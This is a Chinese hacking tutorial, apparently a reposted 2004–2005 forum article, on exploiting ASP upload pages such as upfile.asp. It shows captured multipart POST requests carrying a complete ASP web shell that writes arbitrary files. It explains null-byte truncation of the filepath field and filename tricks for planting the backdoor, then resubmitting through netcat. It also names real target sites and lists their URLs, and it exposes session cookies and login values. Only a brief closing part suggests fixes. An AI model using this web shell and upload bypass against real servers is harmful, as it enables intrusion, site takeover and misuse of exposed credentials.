upfile之cookies提交利用(经典 太经典了)

时间:2022-08-28 08:52:45
作者:
swap
类别:
漏洞资料库
发布日期:
2004-10-29 22:26:53
总浏览:
1
提示,一般提交点
upload.asp upload.htm
upfile.asp upfile.htm

cookies之提交之方法的三种利用



 找一个可以提交的点先,http://218.27.1.210/admin/upload.asp, 随便提交一个马,mm.asp,并用WSockExpert监听。

截取信息保存到a.txt中
POST /admin/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://218.27.1.210/admin/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4bc1200e8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)
Host: 218.27.1.210
Content-Length: 1641
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDAASRSRST=BIFOBMEAIPKGAHDBLHJJJFEE

-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="filepath"

../pic/
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="act"
奇怪,怎么少了一行2004xxxxxx的已上传文件???

upload
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="file1"; filename="C:/css3.asp"
Content-Type: text/plain

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:/web/x.asp):</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "输入马的内容:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=保存>"%>
<%Response.write "</form>"%>
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4bc1200e8--


这个时候,修改上传的方式可以分三种
1。可以在Content-Disposition: form-data; name="filepath"

../pic/
这里修改,比如,修改为
Content-Disposition: form-data; name="filepath"

../pic/xx.asp
这里的xx.asp当然就是我们要传的后门了,注意后面预留一个空格。可以用UE打开,修改HEX空格20为00
并在最后把C:/css3.asp修改为css3.gif或者其他系统允许上传的后缀格式。 并修改Content-Length: 1641长度加5为1646
Content-Disposition: form-data; name="file1"; filename="C:/css3.asp"
Content-Type: text/plain
2。可以直接修改
upload
-----------------------------7d4bc1200e8
在这里7d4bc1200e8就是我们已经上传的文件,直接把它修改为xx.asp ,注意空格。因为前后长度一直,不需要修改lenght长度。
修改其他,并上传。
3。修改最后的C:/css3.asp为"C:/css3.asp .gif" ,追加length长度5,并上传。

 

 

修改版

 

 

upfile之cookies提交利用
作者:
swap
类别:
漏洞资料库
发布日期:
2004-10-29 22:26:53
总浏览:
10

一不留神blog就被转发到hackbase.com上去了, 汗汗!有几个地方没修改,现在改一下撒
提示,一般提交点
upload.asp upload.htm
upfile.asp upfile.htm

cookies之提交之方法的三种利用



 找一个可以提交的点先,http://200.200.200.200/admin/upload.asp, 随便提交一个马,mm.asp,并用WSockExpert监听。

截取信息保存到a.txt中
POST /admin/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://218.27.1.210/admin/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4bc1200e8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)
Host: 218.27.1.210
Content-Length: 1641
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDAASRSRST=BIFOBMEAIPKGAHDBLHJJJFEE

-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="filepath"

../pic/
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="act"
奇怪,怎么少了一行2004xxxxxx的已上传文件???
我自己加一个例如:
200435234523

upload
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="file1"; filename="C:/css3.asp"
Content-Type: text/plain

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:/web/x.asp):</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "输入马的内容:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=保存>"%>
<%Response.write "</form>"%>
-----------------------------7d4bc1200e8
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4bc1200e8--


这个时候,修改上传的方式可以分三种
1。可以在Content-Disposition: form-data; name="filepath"

../pic/
这里修改,比如,修改为
Content-Disposition: form-data; name="filepath"

../pic/xx.asp
这里的xx.asp当然就是我们要传的后门了,注意后面预留一个空格。可以用UE打开,修改HEX空格20为00
并在最后把C:/css3.asp修改为css3.gif或者其他系统允许上传的后缀格式。 并修改Content-Length: 1641长度加5为1646
Content-Disposition: form-data; name="file1"; filename="C:/css3.asp"
Content-Type: text/plain
2。可以直接修改
upload
200435234523(截取下来的类似这样的编码,因为是2004年xx月xx日,它自动会编码为这样的)
在这里200435234523就是我们已经上传的文件,直接把它修改为xx.asp ,注意空格。因为前后长度一直,不需要修改lenght长度。
修改其他,并上传。
3。修改最后的C:/css3.asp为"C:/css3.asp .gif" ,追加length长度5,并上传。

2005 3-9 修订

一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
   用于提交数据包
   DOS界面下运行:
   NC -vv www.***.com 80<1.txt
   -vv: 回显
   80:  www端口
   1.txt: 就是你要发送的数据包
  (更多使用方法请查看本区的帖子)
WSE(WSockExpert)
   对本机端口的监视,抓取IE提交的数据包
  (不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机:  www.***.com;
bbs路径 :  /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,如下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" ...></form>
用到的变量:
filepath 默认值uploadface 属性hiden
act      默认值upload     属性hiden
file1    就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
--------------------------------------
我们知道计算机里面的数据是一"/0"为标致的用过C语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s /0
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp/0"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
http://www.***.com/newmm.asp/0/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的/0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:/1.asp
就保存成: http://www.***.com/newmm.asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
监听外部主机
        NC [-options] hostname port[s] [ports] ...
监听本地主机
        NC -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

详细实例:
-----------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=-----------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上传
---------------7d423a138d0278-----------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
----------------------------
三、重新计算cookies长度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: /0 ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾处加个00就OK了
计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
Host: www.xin126.com
Content-Length: 1969  <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于/0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了